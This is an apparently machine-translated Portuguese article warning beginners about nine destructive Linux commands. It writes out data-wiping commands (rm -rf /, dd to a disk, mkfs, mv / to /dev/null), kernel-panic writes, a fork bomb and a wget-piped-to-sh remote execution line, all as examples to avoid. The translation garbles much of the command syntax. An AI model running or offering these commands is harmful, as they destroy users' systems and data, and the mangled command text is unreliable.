Comandos 9 linux lethal você nunca deve executar

Linux pode ser uma faca de dois gumes. Ele assume que você sabe o que está fazendo e lhe dá a liberdade para fazer o que quiser. Não vai questioná-lo. Isto é conveniente quando você na realidade

sabe o que está fazendo, mas isso também significa que você pode conseguir tornar seu sistema inutilizável dentro de segundos.

Nova para a linha de comando do Linux? Não se preocupe. Comece com a nossa guia de início rápido do terminal Linux juntamente com estes 40 comandos essenciais do Linux. Com esses dois recursos, você vai se familiarizar com a linha de comando em nenhum momento.Um guia rápido para começar com a linha de comando LinuxUm guia rápido para começar com a linha de comando LinuxVocê pode fazer muitas coisas incríveis com comandos no Linux e não é realmente difícil de aprender.consulte Mais informação

Mas se você é um novato Linux ou veterano, você nunca deve executar um comando a menos que você sabe exatamente o que faz. Aqui estão alguns dos mais mortais comandos Linux que você vai, em sua maior parte, quer evitar.

excluir Recursively

A capacidade Linux para excluir qualquer coisa que você quer, sem dúvida, é uma dádiva de Deus, especialmente depois de lidar com anos de erros “Este arquivo não pode ser excluído” no Windows. Mas trolls da Internet será rápido para enganá-lo, apresentando-o com comandos de remoção extremamente perigosos que podem limpar discos rígidos inteiros.

rm -rf /

Esta linha executa o comando remove rm com dois alterna: -r o que obriga a eliminação recursiva através de todos os subdiretórios e -f o que obriga a exclusão de somente leitura arquivos sem confirmação. O comando é executado no / diretório raiz, essencialmente limpando todo o seu sistema limpo.

Note-se, nos dias de hoje na maioria dos sistemas Linux Se você tentou fazer isso que você deseja obter um aviso. Mas o aviso não for garantido, por isso não fazê-lo.

Formato de disco rígido

O terminal é especialmente complicado para iniciantes Linux porque oferece várias maneiras para limpar acidentalmente um do disco rígido. exclusão recursiva é um grande problema, mas aqui é outra:

mkfs.ext3 / dev / hda

Este comando formata o disco rígido para usar o sistema de arquivos ext3. formatação da unidade de disco não é uma ação inerentemente mal-intencionado, mas não “reset” a unidade de tal forma que ele é “tão bom como novo”. Em outras palavras, um disco rígido formatado é como uma lousa em branco.Como reformatar a unidade FAT32 para NTFS - e as vantagens de fazê-loComo reformatar a unidade FAT32 para NTFS - e as vantagens de fazê-loVocê pode não saber, mas a escolha do sistema de arquivos certo para as suas unidades é realmente muito importante. Embora a ideia principal de todos os sistemas de arquivos é o mesmo, há muitas vantagens e desvantagens sobre cada ...consulte Mais informação

A formatação é útil para partições de disco e unidades externas, mas executá-lo em um disco rígido inteiro (como / Dev / hda) É perigoso e pode deixar o sistema em um estado irrecuperável.

Sobrescrever disco rígido

Como se a formatação do disco acidental não era ruim o suficiente, é possível substituir seu disco rígido usando dados brutos. Pelo menos formatação do disco é um procedimento real com a vida real usos que diretamente substituir a própria unidade, por outro lado, não é tão grande.

Video: Comando traceroute - Descobrir rotas de Rede no Linux

comando gt; / Dev / hda

No comando acima, comando pode ser substituído por qualquer comando Bash. o gt; operador redireciona a saída do comando à sua esquerda para o arquivo no seu direito. Neste caso, não importa o que a saída do comando esquerda é. Que dados brutos está sendo redirecionado e utilizado para substituir o disco rígido do sistema.

Como você pode imaginar, isso torna inútil.

Limpe Hard Drive

Aqui está outra maneira de estragar o seu sistema. Desta vez, o comando será completamente zerar seu disco rígido. Há corrupção de dados ou overwrites- ele vai literalmente encher seu disco rígido com zeros. Um disco rígido não recebe qualquer mais apagado do que isso.

dd E se=/ Dev / zero of=/ Dev / hda

o dd comando é uma instrução de baixo nível que é usado principalmente para gravar dados em unidades físicas. o E se parâmetro determina a origem dos dados, que neste caso é / Dev / zero, um especial sobre Linux que produz um fluxo infinito de zeros. o do parâmetro determina o destino desses zeros, que é a / Dev / hda dirigir.



Sim, há razões legítimas para zerar uma unidade, mas se você não sabe o que essas razões são, então você vai querer ficar longe deste comando.

Implodir Hard Drive

Se você está cansado de ouvir maneiras de destruir seu disco rígido, espere. Aqui está mais um para você. No Linux, há um arquivo especial chamado / Dev / null que irá descartar qualquer que seja os dados são gravados. Você pode pensar nisso como um buraco negro ou um triturador de arquivo: qualquer coisa que lhe é dado como entrada será comido para o bem.

mv / / Dev / null

você pode detectar o perigo aqui? o mv comando tenta mover o diretório raiz do sistema / para o buraco negro de / Dev / null. Este é um comando válido eo resultado é devastador: o disco rígido fica comido e não há mais nada. Fazendo isso vai tornar seu sistema inutilizável.

Porque Kernel Panic

O Windows possui seu infame Tela azul da morte. E, apesar dos mitos que flutuam ao redor, Linux não é um sistema perfeitamente seguro. Às vezes, um erro interno ocorre a partir do qual a recuperação é impossível, então o sistema irá promulgar algo semelhante à tela azul: a kernel panic.Windows 8 Crashing? Como solucionar facilmente tela azul & Outros problemasWindows 8 Crashing? Como solucionar facilmente tela azul & Outros problemasWindows 8 não é perfeito. Dito isto, a maioria das telas azuis e falhas de aplicação não são culpa do Windows. Nossas dicas vão ajudá-lo a identificar exatamente o que está errado com seu PC e corrigi-lo.consulte Mais informação

dd E se=/ Dev / random de=/ Dev / portaeco 1 gt; / Proc / sys / kernel / pânicogato / Dev / portagato / Dev / zero gt; / Dev / mem

Os meandros dos comandos acima não são importantes aqui. o que é importante é que a execução de qualquer dessas linhas irá resultar em um kernel panic, forçando-o a reiniciar o sistema. É melhor ficar longe desses comandos, a menos que você está absolutamente certo que você sabe o que está fazendo.

Fork bomba

Bash é o idioma do terminal do Linux e é poderoso. Não só ele pode executar comandos, mas também pode executar funções, o que torna mais fácil para escrever scripts que podem automatizar tarefas do sistema. Infelizmente, as funções não vêm sem o seu próprio conjunto de riscos.Linux é confuso? Aqui estão os principais termos que você precisa saberLinux é confuso? Aqui estão os principais termos que você precisa saberEstes dias, Ubuntu e outras distribuições Linux modernas geralmente instalar sem problemas (e sem necessidade de qualquer conhecimento), mas à medida que avança a usá-los, você inevitavelmente vai encontrar todos os tipos de terminologia que ...consulte Mais informação

Video: Comandos lsusb, hwinfo, lsdev, lsmod, lspci - Consulta ao Hardware do Sistema Linux

:():-:

Este comando obscuro é chamado de bomba fork, que é um tipo especial de kernel panic. Ele define uma função chamada : que de forma recursiva chama-se duas vezes quando executado. Uma das chamadas recursivas acontece em primeiro plano, enquanto o outro acontece em segundo plano.

Em outras palavras, sempre que esta função é executada, ela gera dois processos filhos. Esses processos filhos desovar seus próprios processos filhos, e este ciclo continua indo em um loop infinito. A única maneira de sair é para reiniciar o sistema.

Executar script remoto

Aqui está um comando inocente que pode realmente ser útil na vida do dia-a-dia em um sistema Linux. wget recupera o conteúdo de um URL web, que pode ser usado para acessar sites ou download de arquivos. No entanto, há um truque simples que transforma-lo perigoso:

wget http: // an-não confiável-url-O- | sh

A combinação acima baixa o conteúdo da URL dada e imediatamente alimenta-lo para o sh comando, que executa o conteúdo baixado no terminal. Se o URL foram para apontar para um script malicioso, você estaria selando seu próprio destino com este comando.

Desativar Direitos comando root

Este comando final é simples. Ele utiliza o comumente usado rm comando para desativar dois dos comandos mais importantes do Linux: sudo e su. Para encurtar a história, esses dois permitem que você execute de outros comandos com permissões de root. Sem eles, a vida no Linux seria miserável.

rm -f / usr / bin / sudo-rm -f / bin / su

É por isso que você não deve executar este comando. Ele vigor exclui ambos os comandos do seu sistema sem qualquer confirmação, deixando-o em um congestionamento. Lá estamos caminhos para restaurar o que você tiver excluído, mas nem sempre é fácil nem será agradável.As melhores maneiras de recuperar dados On LinuxAs melhores maneiras de recuperar dados On LinuxNão importa se era sua culpa ou não, as coisas podem acontecer com os dados armazenados em seus dispositivos. discos rígidos, drives de estado sólido, e mídias removíveis podem todos potencialmente "perder" arquivos por causa de numerosos ...consulte Mais informação

Por favor, seja cuidadoso! Não tenha medo de brincar com Linux e do terminal de linha de comando, mas, ao mesmo tempo, fazer a sua investigação e nunca executar nada menos que você está absolutamente certo o que ele faz. Se alguém lhe diz “tentar este comando”, sempre um duplo e triplo check-lo.

Alguma vez você já executar um comando destrutivo? O que aconteceu? Alguém induzi-lo a ele? Compartilhe seus pensamentos e experiências com a gente nos comentários!


Artigos relacionados